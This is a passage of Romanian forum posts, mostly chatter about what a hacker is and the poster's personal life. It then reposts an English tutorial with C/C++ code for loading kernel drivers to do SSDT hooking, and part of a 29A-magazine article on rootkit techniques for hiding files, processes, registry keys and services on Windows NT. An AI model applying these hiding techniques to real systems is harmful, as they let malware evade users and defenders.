  15. Ca sa evit generalizari, voi spune doar asta: hacker e un fel de mic geniu al informaticii, sa zicem un mic "inventator", cineva care a facut ceva pentru acest domeniu. Ca sa dau niste exemple: Pitagora/Fermat/LaGrange si altii (nu am idei acum) sunt "hackeri ai matematicii", asta e modul in care vad eu lucrurile. Sunt persoane care au adus contributii importante in matematica, fie ele lucruri noi sau nu, sunt oricum lucruri care necesita cunostinte solide de matematica. Aplic acelasi principiu si in informatica. Hackeri ar fi: - muts - Pentru Backtrack - Fyodor - Pentru Nmap - HD Moore - Pentru Metasploit Cam asta ar fi ideea. Hackeri sunt persoanele care pe langa faptul ca au descoperit lucruri interesante: BOF-urile, SQL Injection-ul, LFI to RCE de exemplu, ASLR/DEP bypass si altele, ei sunt hackeri, nu cei care citesc 2 tutoriale si obtin acces undeva cu ele, si pe langa faptul ca au descoperit lucruri noi, au si avut grija sa le faca publice si sa ofere informatia obtinuta de ei publicitatii. Dar lumea nu se gandeste la asta, si il ia pe Vasile care citeste 2 articole despre SQL Injection, "sparge" un site si gata, el e hackerul... De asemenea conteaza si nevelul de cunostinte necesare pentru o anumita actiune. De ce nu i se spune "hacker" lui Tavis Ormandy , Ramon Valle sau Jon Oberheide care au gasit Local Root Privilege Escalation Exploit-uri in kernelul de Linux? E simplu, lumea nu intelege chestiile complicate si de suprafata, nu poate vedea practic ce au facut ei. In schimb vad o imagine pe o un site "care a fost spart" si il considera un zeu pe autor. E ca si cum ai merge la un concurs cu un modul de kernel care face cine stie ce lucruri complicate si vine unul cu un site in Flash cu beculete roz si stralucitoare. El va castiga clar concursul. Cred ca intelegeti ce vreau sa spun.
  16. Cred ca e spam, deci e posibil sa fie vorba de programe infectate.
  17. In fine, ca sa inteleaga si persoane mai inapte care inca considera ca sunt gabor: nu sunt, in cel mai rau caz as fi la Academia de Politie unde am dat doar probele fizice sau la Academia Tehnica Militara unde am luat probele fizice, dar matematica si fizica de acolo nu sunt de mine. Deci sunt un simplu student.
  18. Da, poza de la CV-ul de pe bestjobs... Cand am fost la un interviu, cel cu care vorbeam avea CV-ul meu in fata si a taiat poza asta, a zis ca nu e poza de CV.
  19. Era cand am facut poze pentru albumul clasei. Uite, sa nu mai comenteze lumea: // Removed Am scos burta si suncile in Photoshop, ochelarii nu ii port si cosurile de pe fata nu mi se vad.
  20. Erau vreo 2 poze mai vechi cu mine, dar nu sunt ala de mai sus @ adi123456789 Am pus aici, anul trecut o poza in costum. Poate nu a fost stearsa. Sapati.
  21. Nu e Pax, e unul care inca crede ca sunt gabor Daca veti cauta prin toate posturile mele, pe langa faptul ca imi veti afla numele, veti afla si cum sta treaba cu "locul meu de munca". Iar tu, stimate autor al acestui post mirific, esti un gunoi pentru acest forum, ban!
  22. Mie nu imi place cu tutorialele asa din urmatorul motiv: tutorialele sunt principala sursa de informatie aici, dupa mine, Tutoriale Romana/Engleza/Video si Programare sunt cele mai importante cateogrii, si trebuie sa apara toate pe index. Nu sa stau sa dau la Tutoriale, apoi la ce categorie s-a postat...
  23. Pune link catre profilul utilizatorului Nytro creat.
  24. This will be picked up as a virus(rootkit), most rootkits use ssdt hooking to hide files\processes. I had to configure my AV. Source Files: http://www.ucdownloads.com/downloads...o=file&id=4211 If there is anything you'd like me to explain more, please post about it. Writing drivers to perform kernel-level SSDT hooking The goal of the reader is to perform the the below points while following the tutorial. The tutorial describes how to do this step by step. Write a console application to load, and send commands to the driver Have the driver process commands Have the driver perform according SSDT hooks, or execute the received command. There are several chapters to this tutorial. The are as described below. Installing the Driver Development Kit, and setting up your working folder. Creating a basic console application to load and start driver services, as well as perform IO to IO Devices. Building a basic driver Setting up driver major functions and basic IO Creating a message protocol. Getting access to protected memory using MDLs. Writing the hook. Before we begin the tutorial please note the following: If you get any linking errors regarding unresolved external symbols, assure you have all your source files defined in SOURCES(you will learn about SOURCES later in this tutorial) For debugging the driver, run the drivers in a VM, setting up DbgView client on VM, and then connecting to it on the host machine. This will give you the last debug messages recived before the driver crashed the host machine. And you can easily narrow down errors this way. This is not worth your time if you plan to write a simple hook with it. This driver is written in C, there are some big differences between C and C++, they will be noted as you follow the tutorial. If you know C++, you should have no problems following this tutorial. Any errors, overflows, exceptions, etc will cause a BSOD, and could possibly damage your OS. And thus, when these drivers are being tested it is highly recommended you do testing on a virtual machine. All drivers written with this tutorial should NOT be installed as services that startup with the operating system. If there are errors in the driver, it can prevent you from starting your computer, to fix this you can boot in to safe mode and manually remove the service. The drivers you write using this tutorial will most likely be picked up as rootkits, disable your anti-virus during the whole tutorial, or configure it accordingly. This is because hooking the service dispatch table is a common technique used by rootkits to hide processes or files. I don't know what UC's status is on including drivers in your hacks, so be sure to consult them about it before using this technique in hacking. Lastly, for whatever you're trying to achive with a driver, will probably be achiveable by user-level hooking, so be sure you take advantage of user-level hooks before kernel-level hooks. Installing the Driver Development Kit, and setting up your working folder Now lets start to setup our DDK, and our development environment. We're actually going to be installing WDK, which contains the DDK. The DDK contains many useful headers and libraries, as well as the binaries we're going to be using to build our driver. I will start off by saying, Microsoft has successfully made this thee most difficult development kit to acquire(thanks Microsoft). How to Get the WDK 1. Register a hotmail account if you don't already acquire one. 2. Login at Microsoft Products Accepting Bugs and Suggestions | Microsoft Connect 3. After logging in, there will be tabs on the top of the page, select Connection Directory. 4. To the left of the page, there is a navigation menu, select Developer Tools. 5. Search for : Windows Driver Kit (WDK) and Windows Driver Framework (WDF) and apply. 6. Now select 'Your Dashboard' on the top navigation menu. 7. Select Windows Driver Kit (WDK) and Windows Driver Framework (WDF). 8. Finally, press the download link under the text "The download package for this release is:" 8. After that download, either mount the downloaded ISO file, or extract it. Then install it. After the installation, if you go to start->All Programs->Windows Driver Kits->WDK (version number)->Build Environments->Your OS-> You will see two executables. One is a free build environment, and the other is checked. If you build your driver in the checked environment, your driver will not be optimized, and if it is done in a free environment, it will be optimized. Optimization can sometimes cause errors. And thus drivers should be built in checked, then when they're completed, tested, built, and distributed in free. Throughout this tutorial we'll be using a checked environment. And there you go, DDK should be located in InstalledDrive:\WinDDK\VersionNumber\ You can setup the DDK to MSVS, but it's not recommended, the staff over at MSDN are saying it wasn't built to compile drivers. There really isn't a need to use VS anyway, the console and notepad will do just fine. I tried setting it up with MSVS and I got a ton of errors. Not worth it for me. Create a folder in either of your harddisks. Make it easy to access and without spaces. Ex: C:\hack\, not C:\my hack\. Also make it short, because you'll be navigating to it quite oftenly. In that folder you'll need to create two files: SOURCES MAKEFILE No extensions. SOURCES should contain the following: Code: TARGETNAME=MYDRIVER TARGETPATH=OUTPUT TARGETTYPE=DRIVER TARGETLIBS= $(BASEDIR)\lib\w2k\i386\ndis.lib SOURCES= TARGETNAME: Name of file to output file, excluding .sys extention. TARGETPATH: The path, from the current directory, where the compiled file will be stored. TARGETTYPE: The type of file source code is being compiled into. TARGETLIBS: A list to all the libraries to include in the project. Where $(BASEDIR) is the base directory of wherever you installed the DDK. Usually this is InstalledDriver:\WinDDK\VersionNumber\ SOURCES: defines all the c files to compile and link in the project. Be sure to update this when you create a new source file. This is currently blank, and will be filled in later on in this tutorial. And MAKEFILE should contain: Code: !INCLUDE $(NTMAKEENV)\makefile.def Which essentially redirects to the makefile provided in the ddk. All drivers will share the same makefile. Last but not least, download DebugView, which will allow you to view debug output messages from your driver. When you're debugging, you'll want to be viewing the output remotely. You can do this by starting the DebugView client(giving DebugView /c command argument when starting it) on the VM you'll be testing the driver is, then starting DebugView without any arguments on the host machine, and connecting to the local client by going to computer->connect-> and inserting the target machine's IP Address. After you've got that, you're ready to continue to the next step. Creating a basic console application to load and start driver services, as well as perform IO to IO Devices This is probably the easiest part of the tutorial and won't be explained too much. For this part of the tutorial we'll be using C++. To keep your code neat and organized, start by creating a source file, called serviceTools.h. We want to have a function load a driver using two parameters, the service name, and the path of it's corresponding executable. Notice this code may be modifed by it's parent tags, and thus refer to download for valid source file. PHP Code: #pragma once #include <stdio.h> #include <windows.h> int createService(char* serviceName, char* executablePath, bool relative); int startService(char* serviceName); int stopService(char* serviceName); int deleteService(char* serviceName); And the corresponding source file: Notice this code may be modifed by it's parent tags, and thus refer to download for valid source file. PHP Code: #include "stdafx.h" #include "serviceTools.h" int createService(char* serviceName, char* executablePath, bool relative) { char pathBuffer[200]; if(relative) { GetCurrentDirectory(200, pathBuffer); strcat(pathBuffer, "\\"); } strcat(pathBuffer, executablePath); printf("Creating service %s ", serviceName); SC_HANDLE sh = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS); if(sh == INVALID_HANDLE_VALUE) { printf("Error opening handle to Service Manager.\n"); return -1; } SC_HANDLE hService = CreateService(sh, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, pathBuffer, 0, 0, 0, 0, 0); CloseServiceHandle(sh); if(hService == 0) { printf("Error creating service.\n"); return -1; } printf("Service has been created under the display name of %s\n", serviceName); CloseServiceHandle(hService); return 1; } int startService(char* serviceName) { SC_HANDLE hService; SC_HANDLE sh = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS); if(!sh) { printf("Error opening service handler handle\n"); return -1; } hService = OpenService(sh, serviceName, SERVICE_ALL_ACCESS); CloseServiceHandle(sh); if(!hService) { printf("Error opening service handle\n"); return -1; } if(StartService(hService, 0, 0) != 0) printf("Service started.\n"); else { unsigned long eCode = GetLastError(); printf("Error starting service.(%d)\n", eCode); CloseServiceHandle(hService); return -1; } CloseServiceHandle(hService); return 1; } int stopService(char* serviceName) { SC_HANDLE hService; SC_HANDLE sh = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS); if(!sh) { printf("Error opening service handler handle\n"); return -1; } hService = OpenService(sh, serviceName, SERVICE_ALL_ACCESS); CloseServiceHandle(sh); if(!hService) { printf("Error opening service handle\n"); return -1; } SERVICE_STATUS srvStatus; if(ControlService(hService, SERVICE_CONTROL_STOP, &srvStatus) != 0) printf("Service stopped.\n"); else { printf("Error stopping service.\n"); CloseServiceHandle(hService); return -1; } CloseServiceHandle(hService); return 1; } int deleteService(char* serviceName) { SC_HANDLE hService; SC_HANDLE sh = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS); if(!sh) { printf("Error opening service handler handle\n"); return -1; } hService = OpenService(sh, serviceName, SERVICE_ALL_ACCESS); CloseServiceHandle(sh); if(!hService) { printf("Error opening service handle\n"); return -1; } if(DeleteService(hService) != 0) printf("Service deleted.\n"); else { printf("Error deleting service.\n"); CloseServiceHandle(hService); return -1; } CloseServiceHandle(hService); } The above code is pretty simple, but I will go over createService, after that, the rest are pretty much the same. First we notify the user a driver is being loaded printf("Creating service %s ", serviceName); Then we can go ahead and open a handle to the service control manager. SC_HANDLE sh = OpenSCManager(0, 0, SC_MANAGER_ALL_ACCESS); The first two parameters are optional, the first being the name of the target machine, in our case we want to open the SC Manager of the local machine, and thus this can be set to null. The second parameter is the name of the SC Manager database. MSDN states this should be set to SERVICES_ACTIVE_DATABASE definition, if it is null it is set to this by default. Now we can create our service. Code: SC_HANDLE hService = CreateService(sh, serviceName, serviceName, SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, SERVICE_ERROR_NORMAL, pathBuffer, 0, 0, 0, 0, 0); I don't plan to go through all of these parameters, they're all defined at MSDN library. Notice though, that the dwServiceType parameter is set to SERVICE_KERNEL_DRIVER definition. This API will create our service, and then return a handle to the newly created service. Then we dispose of the handles using CloseServiceHandle, CloseHandle cannot be used when it comes to service related handles, instead CloseServiceHandle is used. Now that that's over with, lets start writing the IO portion of the code. The objective of this code is to open handles to an IO device, and write to it. Create a new header file, call it deviceIo.h. We want a method to open a handle to an IO device, another to write to it, we wont need to read from the IO device in this tutorial. PHP Code: #pragma once #include <windows.h> HANDLE GetHandleToIo(char* deviceName); int CloseIoHandle(HANDLE hIo); int WriteToDevice(HANDLE hDevice, char* inBuffer); And the corresponding source file PHP Code: #include "stdafx.h" #include "deviceIo.h" HANDLE GetHandleToIo(char* deviceName) { return (HANDLE)CreateFile(deviceName, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); } int CloseIoHandle(HANDLE hIo) { if(hIo == INVALID_HANDLE_VALUE) return -1; else CloseHandle(hIo); return 1; } int WriteToDevice(HANDLE hDevice, char* inBuffer) { WriteFile(hDevice, inBuffer, strlen(inBuffer) + 1, 0, 0); return 1; } Pretty simple. No need to go into any details. If you need help with this portion of code, just say so and I will document it a bit more. Lastly, we need to process all the commands thrown into our console. To do so, we're going to create yet another file called commandProcessor.h. PHP Code: #pragma once #define CMD_UNKNOWN_COMMAND 0 #define CMD_SETUP_SERVICE 1 #define CMD_DELETE_SERVICE 2 #define CMD_START_SERVICE 3 #define CMD_STOP_SERVICE 4 #define CMD_WRITE 5 #define CMD_OPEN 6 #define CMD_CLOSE 7 #include "serviceTools.h" #include "deviceIo.h" unsigned int translateCommand(char* command); int processCommand(char* command); And the corresponding source file: PHP Code: #include "stdafx.h" #include "commandProcessor.h" const unsigned long CMD_ID_TABLE[] = {CMD_SETUP_SERVICE, CMD_DELETE_SERVICE, CMD_START_SERVICE, CMD_STOP_SERVICE, CMD_WRITE, CMD_OPEN, CMD_CLOSE, CMD_QUIT}; const char* CMD_NAME_TABLE[] = {"ss" , "ds" , "start", "stop" , "write", "open", "close", "quit"}; unsigned int translateCommand(char* command) { int tblCmdSize = sizeof(CMD_ID_TABLE) / sizeof(unsigned long); int tblCmdName = sizeof(CMD_NAME_TABLE) / sizeof(char*); for(unsigned int i = 0; i < tblCmdSize && i < tblCmdName; i++) if(!strcmp(command, CMD_NAME_TABLE[i])) return CMD_ID_TABLE[i]; return CMD_UNKNOWN_COMMAND; } int processCommand(char* command) { static HANDLE hFileHandle = INVALID_HANDLE_VALUE; char buffer[200]; ZeroMemory(&buffer, 200); switch(translateCommand(command)) { case CMD_SETUP_SERVICE: scanf("%s", buffer); createService("MYDRIVER", buffer, true); break; case CMD_DELETE_SERVICE: scanf("%s", buffer); deleteService(buffer); break; case CMD_START_SERVICE: scanf("%s", buffer); startService(buffer); break; case CMD_STOP_SERVICE: scanf("%s", buffer); stopService(buffer); break; case CMD_OPEN: scanf("%s", buffer); hFileHandle = GetHandleToIo(buffer); break; case CMD_CLOSE: CloseIoHandle(hFileHandle); break; case CMD_WRITE: scanf("%[^\n\t]s", buffer); WriteToDevice(hFileHandle, buffer); break; case CMD_QUIT: return 0; break; default: printf("Unknown command inserted..\n"); } return 1; } Lets tie this all together into main.cpp PHP Code: // tutDriverConsole.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include "commandProcessor.h" int main(int argc, char* argv[]) { char buffer[200]; int ret; do { printf("\n >>"); scanf("%200s", buffer); ret = processCommand(buffer); }while(ret); return 0; } Commands for console: Quote: ss- Setup Service ds- Delete service start - start service stop - stop service open - open handle to IO device close - close current IO handle write - write to opened IO handle quit - quit Be sure to close your handle to the IO device, before attempting to stop and delete the service. And that's about it for the console application. Now lets dive right into creating our first driver. Este doar o parte din tutorial. Articolul complet: [Tutorial] Writing drivers to perform kernel-level SSDT hooking. PDF: MEGAUPLOAD - The leading online storage and file delivery service Download Writing drivers to perform kernel-level SSDT hooking.pdf for free on uploading.com 2shared - download Writing drivers to perform kernel-level SSDT hooking.pdf
  25. Invisibility on NT boxes, How to become unseen on Windows NT (Version: 1.2) Holy_Father 29A magazine #7 August 2003 [Back to index] [Comments (0)] Contents 1. Contents 2. Introduction 3. Files 3.1 NtQueryDirectoryFile 3.2 NtVdmControl [*]4. Processes [*]5. Registry 5.1 NtEnumerateKey 5.2 NtEnumerateValueKey [*]6. System services and drivers [*]7. Hooking and spreading 7.1 Rights 7.2 Global hook 7.3 New processes 7.4 DLL [*]8. Memory [*]9. Handle 9.1 Naming handle and getting type [*]10. Ports 10.1 Netstat, OpPorts on WinXP, FPort on WinXP 10.2 OpPorts on Win2k and NT4, FPort on Win2k [*]11. Ending 2. Introduction This document is about technics of hiding objects, files, services, processes etc. on OS Windows NT. These methods are based on hooking Windows API functions which are described in my document "Hooking Windows API". Everything here was get from my own research during writing rootkit code, so there is a chance it can be written more effectively or it can be written much more easily. This also involve my implementation. Hiding arbitrary object in this document mean to change some system functions which name this object in the way they would skip its naming. In the case this object is only return value of that function we would return value as the object does not exist. Basic method (excluding cases of telling different) is that we would call original function with original arguments and then we would change its output. In this version of this text are described methods of hiding files, processes, keys and values in registry, system services and drivers, allocated memory and handles. 3. Files There are serveral possibilities of hiding files in the way OS would not see it. We would aim only changing API and leave out technics like those which play on features of filesystem. It also is much easier because we dont need to know how particular filesystem works. 3.1 NtQueryDirectoryFile Looking for a file on wNT in some directory is based on searching in all its files and files in all its subdirectories. For file enumeration is used function NtQueryDirectoryFile. NTSTATUS NtQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG FileInformationLength, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan ); Important parameters for us are FileHandle, FileInformation and FileInformationClass. FileHandle is a handle of directory object which can be get from NtOpenFile. FileInformation is a pointer on allocated memory, where this function write wanted data to. FileInformationClass determines type of record written in FileInformation. FileInformationClass is varied enumerative type, but we need only four values which are used for enumerating directory content: #define FileDirectoryInformation 1 #define FileFullDirectoryInformation 2 #define FileBothDirectoryInformation 3 #define FileNamesInformation 12 structure of recoed written in FileInformation for FileDirectoryInformation: typedef struct _FILE_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG Unknown; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; for FileFullDirectoryInformation: typedef struct _FILE_FULL_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG Unknown; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaInformationLength; WCHAR FileName[1]; } FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION; for FileBothDirectoryInformation: typedef struct _FILE_BOTH_DIRECTORY_INFORMATION { ULONG NextEntryOffset; ULONG Unknown; LARGE_INTEGER CreationTime; LARGE_INTEGER LastAccessTime; LARGE_INTEGER LastWriteTime; LARGE_INTEGER ChangeTime; LARGE_INTEGER EndOfFile; LARGE_INTEGER AllocationSize; ULONG FileAttributes; ULONG FileNameLength; ULONG EaInformationLength; UCHAR AlternateNameLength; WCHAR AlternateName[12]; WCHAR FileName[1]; } FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION; and for FileNamesInformation: typedef struct _FILE_NAMES_INFORMATION { ULONG NextEntryOffset; ULONG Unknown; ULONG FileNameLength; WCHAR FileName[1]; } FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; This function writes a list of these structures in FileInformation. Only three vairiables are important for us in any of these structure types. NextEntryOffset is the length of particular list item. First item can be found on address FileInformation + 0. So the second item is on address FileInformation + NextEntryOffset of first one. Last item has NextEntryOffset set on zero. FileName is a full name of the file. FileNameLength is a length of file name. If we want to hide a file, we need to tell apart these four types and for each returned record we need to compare its name with the one which we want to hide. If we want to hide first record, we have to move following structures by the size of the first. This will cause the first record would be rewritten. If we want to hide another record, we can easily change the value of NextEntryOffset of previous record. New value of NextEntryOffset would be zero if we want to hide the last record, otherwise the value would be the sum of NextEntryOffset of the record we want to hide and of previous record. Then we should change the value of Unknown of previous record which is prolly an index for next search. The value of Unknown of previous record should have a value of Unknown of the record we want hide. If no record which should be seen was found, we will return error STATUS_NO_SUCH_FILE. #define STATUS_NO_SUCH_FILE 0xC000000F 3.2 NtVdmControl From unknown reason DOS emulation NTVDM can get a list of files also with function NtVdmContol. NTSTATUS NtVdmControl( IN ULONG ControlCode, IN PVOID ControlData ); ControlCode specifies the subfunction which is applied on data in ControlData buffer. If ControlCode equals to VdmDirectoryFile this function does the same as NtQueryDirectoryFile with FileInformationClass set on FileBothDirectoryInformation. #define VdmDirectoryFile 6 Then ControlData is used like FileInformation. The only difference here is that we do not know the length of this buffer. So we have to count it manually. We have to add NextEntryOffset of all records and FileNameLength of the last record and 0x5E as a length of the last record excluding the name of the file. Hiding methods are the same as in NtQueryDirectoryFile then. 4. Processes Various system info is available using NtQuerySystemInformation. NTSTATUS NtQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL ); SystemInformationClass specifies the type of information which we want to get, SystemInformation is a pointer to the function output buffer, SystemInformationLength is the length of this buffer and ReturnLength is number of written bytes. For the enumeration of running processes we use SystemInformationClass set on SystemProcessesAndThreadsInformation. #define SystemInformationClass 5 Returned structure in SystemInformation buffer is: typedef struct _SYSTEM_PROCESSES { ULONG NextEntryDelta; ULONG ThreadCount; ULONG Reserved1[6]; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ProcessName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromProcessId; ULONG HandleCount; ULONG Reserved2[2]; VM_COUNTERS VmCounters; IO_COUNTERS IoCounters; // Windows 2000 only SYSTEM_THREADS Threads[1]; } SYSTEM_PROCESSES, *PSYSTEM_PROCESSES; Hiding processes is similiar as in the case of hiding files. We have to change NextEntryDelta of previous record of that we want to hide. Usually we will not want to hide the first record here because it is Idle process. 5. Registry Windows registry is quite big tree structure containing two important types of records for us which we could want to hide. First type is registry keys, second is values. Owing to registry structure hiding registry keys is not as trivial as hiding file or process. 5.1 NtEnumerateKey Owing to its structure we are not able to ask for a list of all keys in the specific part of registry. We can get only information about one key specified by its index in some part of registry. This provides NtEnumerateKey. NTSTATUS NtEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT PVOID KeyInformation, IN ULONG KeyInformationLength, OUT PULONG ResultLength ); KeyHandle is a handle to a key in which we want to get information about a subkey specified by Index. Type of returned information is specified by KeyInformationClass. Data are written to KeyInformation buffer which length is KeyInformationLength. Number of written bytes is returned in ResultLength. The most important think we need to perceive is that if we hide a key, indexes of all following keys woould be shifted. And because we are able to get information about a key with higher index with asking for key with lower index we always have to count how many records before were hidden and then return the right one. Let's have a look on the example. Assume we have some keys called A, B, C, D, E and F in any part of registry. Indexing starts from zero which mean index 4 match E key. Now if we want to hide B key and the hooked application call NtEnumerateKey with Index 4 we should return information about F key because there is an index shift. The problem is that we don't know that there is a shift. And if we didn't care about shifting and return E instead of F when asking for key with index 4 we would return nothing when asking for key with index 1 or we would return C. Both cases are errors. This is why we have to care about shifting. Now if we counted the shift by recalling the function for each index from 0 to Index we would sometimes wait for ages (on 1GHz processor it could take up to 10 seconds with standard registry which is too much). So we have to think out more sophisticated method. We know that keys are (except of references) sorted alphabetically. If we neglect references (which we don't want to hide) we can count the shift by following method. We will sort alphabetically our list of key names which we want to hide (RtlCompareUnicodeString can be used), then when application calls NtEnumerateKey we will not recall it with unchanged arguments but we will find out the name of the record specified by Index. NTSTATUS RtlCompareUnicodeString( IN PUNICODE_STRING String1, IN PUNICODE_STRING String2, IN BOOLEAN CaseInSensitive ); String1 and String2 are strings which will be compared, CaseInSensitive is True if we want to compare with neglecting character case. Function result describes relation between String1 and String2: result > 0: String1 > String2 result = 0: String1 = String2 result < 0: String1 < String2 Now we have to find a border. We will compare alphabetically the name of the key specified by Index with the names in our list. The border would be the last lesser name from our list. We know that the shift is at most the number of the border in our list. But not all items from our list have to be a valid key in the part of registry we are in. So we have to ask for all items from our list up to border if they are in this part of the registry. This can be done using NtOpenKey. NTSTATUS NtOpenKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); KeyHandle is a handle of superordinate key. We will use the value from NtEnumerateKey for it. DesiredAccess are access rights. KEY_ENUMERATE_SUB_KEYS is the right value for it. ObjectAttributes describes subkey which we want to open (including its name). #define KEY_ENUMERATE_SUB_KEYS 8 If the result of NtOpenKey is 0 opening was successful which mean this key from our list exists. Opened key should be closed via NtClose. NTSTATUS NtClose( IN HANDLE Handle ); For each call of NtEnumareteKey we will count the shift as a number of keys from our list which exist in the given part of registry. Then we will add this shift to Index argument and finally call the original NtEnumerateKey. For getting name of the key specified by Index we will use the value KeyBasicInformation as a KeyInformationClass. #define KeyBasicInformation 0 NtEnumerateKey returns this structure in KeyInformation: typedef struct _KEY_BASIC_INFORMATION { LARGE_INTEGER LastWriteTime; ULONG TitleIndex; ULONG NameLength; WCHAR Name[1]; } KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; Only thing we need here is Name and its length NameLength. If there is no entry for shifted Index we will return error STATUS_EA_LIST_INCONSISTENT. #define STATUS_EA_LIST_INCONSISTENT 0x80000014 5.2 NtEnumerateValueKey Registry values are not alphabetically sorted. Luckily the number of values in one key is quite small, so we can use recall method to get the shift. API for getting info about one value is called NtEnumerateValueKey. NTSTATUS NtEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT PVOID KeyValueInformation, IN ULONG KeyValueInformationLength, OUT PULONG ResultLength ); KeyHandle is again a handle of superordinate key. Index is an index to the list of values in given key. KeyValueInformationClass describes a type of information which will be stored into KeyValueInformation buffer which is long KeyValueInformationLength bytes. Number of written bytes is returned in ResultLength. Again we have to count the shift but according to the number of values in one key we can recall this function for all indexes from 0 to Index. The name of the value can be get when KeyValueInformationClass is set to KeyValueBasicInformation. #define KeyValueBasicInformation 0 Then we will get following structure in KeyValueInformation buffer: typedef struct _KEY_VALUE_BASIC_INFORMATION { ULONG TitleIndex; ULONG Type; ULONG NameLength; WCHAR Name[1]; } KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; Again we are interested only in Name and NameLength. If there is no entry for shifted Index we will return error STATUS_NO_MORE_ENTRIES. #define STATUS_NO_MORE_ENTRIES 0x8000001A 6. System services and drivers System services and drivers are enumerated by four independent API functions. Their connections is different in each Windows version. That's why we have to hook all four functions. BOOL EnumServicesStatusA( SC_HANDLE hSCManager, DWORD dwServiceType, DWORD dwServiceState, LPENUM_SERVICE_STATUS lpServices, DWORD cbBufSize, LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle ); BOOL EnumServiceGroupW( SC_HANDLE hSCManager, DWORD dwServiceType, DWORD dwServiceState, LPBYTE lpServices, DWORD cbBufSize, LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle, DWORD dwUnknown ); BOOL EnumServicesStatusExA( SC_HANDLE hSCManager, SC_ENUM_TYPE InfoLevel, DWORD dwServiceType, DWORD dwServiceState, LPBYTE lpServices, DWORD cbBufSize, LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle, LPCTSTR pszGroupName ); BOOL EnumServicesStatusExW( SC_HANDLE hSCManager, SC_ENUM_TYPE InfoLevel, DWORD dwServiceType, DWORD dwServiceState, LPBYTE lpServices, DWORD cbBufSize, LPDWORD pcbBytesNeeded, LPDWORD lpServicesReturned, LPDWORD lpResumeHandle, LPCTSTR pszGroupName ); The most important here is lpServices which points on the buffer where the list of services would be stored. And also lpServicesReturned pointing on the number of records in result is important. Structure of data in the output buffer depends on the type of function. For functions EnumServicesStatusA and EnumServicesGroupW is returned structure typedef struct _ENUM_SERVICE_STATUS { LPTSTR lpServiceName; LPTSTR lpDisplayName; SERVICE_STATUS ServiceStatus; } ENUM_SERVICE_STATUS, *LPENUM_SERVICE_STATUS; typedef struct _SERVICE_STATUS { DWORD dwServiceType; DWORD dwCurrentState; DWORD dwControlsAccepted; DWORD dwWin32ExitCode; DWORD dwServiceSpecificExitCode; DWORD dwCheckPoint; DWORD dwWaitHint; } SERVICE_STATUS, *LPSERVICE_STATUS; for EnumServicesStatusExA a EnumServicesStatusExW it it typedef struct _ENUM_SERVICE_STATUS_PROCESS { LPTSTR lpServiceName; LPTSTR lpDisplayName; SERVICE_STATUS_PROCESS ServiceStatusProcess; } ENUM_SERVICE_STATUS_PROCESS, *LPENUM_SERVICE_STATUS_PROCESS; typedef struct _SERVICE_STATUS_PROCESS { DWORD dwServiceType; DWORD dwCurrentState; DWORD dwControlsAccepted; DWORD dwWin32ExitCode; DWORD dwServiceSpecificExitCode; DWORD dwCheckPoint; DWORD dwWaitHint; DWORD dwProcessId; DWORD dwServiceFlags; } SERVICE_STATUS_PROCESS, *LPSERVICE_STATUS_PROCESS; We are interested only in lpServiceName which is the name of system service. Records have static size, so if we want to hide one we will move all following records by its size. Here we have to differentiate between the size of SERVICE_STATUS and SERVICE_STATUS_PROCESS. 7. Hooking and spreading To get the desiderative efect we have to hook all running processes and also all processes which would be created later. New processes should be hooked before running their first instruction of their own code otherwise they would be able to see our hidden objects in the time before they would be hooked. 7.1 Rights At first it is good to know that we need at least administrators rights to get access to all running processes. The best possibility is to run our process as system service which run on user SYSTEM. To install the service we also need special rights. Also getting SeDebugPrivilege is very useful. This 